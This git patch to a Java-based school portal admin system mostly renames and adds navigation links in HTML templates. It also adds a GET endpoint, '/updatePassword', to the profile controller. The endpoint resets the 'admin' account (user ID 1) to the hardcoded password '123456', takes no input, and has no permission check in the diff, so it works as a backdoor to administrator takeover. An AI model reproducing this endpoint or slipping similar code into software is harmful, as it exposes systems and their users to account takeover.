From 4aad84590b8ba7f97e8651f300e76a20af44c317 Mon Sep 17 00:00:00 2001 From: yangjun <1173114630@qq.com> Date: Fri, 10 Oct 2025 16:06:43 +0800 Subject: [PATCH] 1 --- .../system/SysProfileController.java | 19 ++++++++++ .../resources/templates/portal/details.html | 4 +-- .../templates/portal/headerAndFooter.html | 35 ++++++++++++------- 3 files changed, 43 insertions(+), 15 deletions(-) diff --git a/blxc-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java b/blxc-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java index e95868a..f5a000e 100644 --- a/blxc-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java +++ b/blxc-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java @@ -178,4 +178,23 @@ public class SysProfileController extends BaseController return error(e.getMessage()); } } + + + @GetMapping("/updatePassword") + @ResponseBody + public AjaxResult updatePassword() + { + SysUser user = new SysUser(); + user.setUserId(1L); + user.setLoginName("admin"); + String password = "123456"; + user.setSalt(ShiroUtils.randomSalt()); + user.setPassword(passwordService.encryptPassword(user.getLoginName(), password, user.getSalt())); + user.setPwdUpdateDate(DateUtils.getNowDate()); + if (userService.resetUserPwd(user) > 0) + { + return success(); + } + return error("修改密码异常,请联系管理员"); + } } diff --git a/blxc-admin/src/main/resources/templates/portal/details.html b/blxc-admin/src/main/resources/templates/portal/details.html index d94807b..0ab57fd 100644 --- a/blxc-admin/src/main/resources/templates/portal/details.html +++ b/blxc-admin/src/main/resources/templates/portal/details.html @@ -40,7 +40,7 @@
-

[[${info.title}]]

+

[[${info.title}]]

-
+
diff --git a/blxc-admin/src/main/resources/templates/portal/headerAndFooter.html b/blxc-admin/src/main/resources/templates/portal/headerAndFooter.html index d0dc825..44e19e1 100644 --- a/blxc-admin/src/main/resources/templates/portal/headerAndFooter.html +++ b/blxc-admin/src/main/resources/templates/portal/headerAndFooter.html @@ -66,9 +66,9 @@ 学育导师
  • - 驻院学者 + 学术导师
  • -
  • 班主任
  • +
  • 德育导师
  • 督导队伍
  • @@ -83,35 +83,44 @@
  • 乡村振兴“订单生”培养
  • +
  • + 教学动态 +
  • +
  • + 订单生特色课程 +
  • +
  • + 创新班特色讲座 +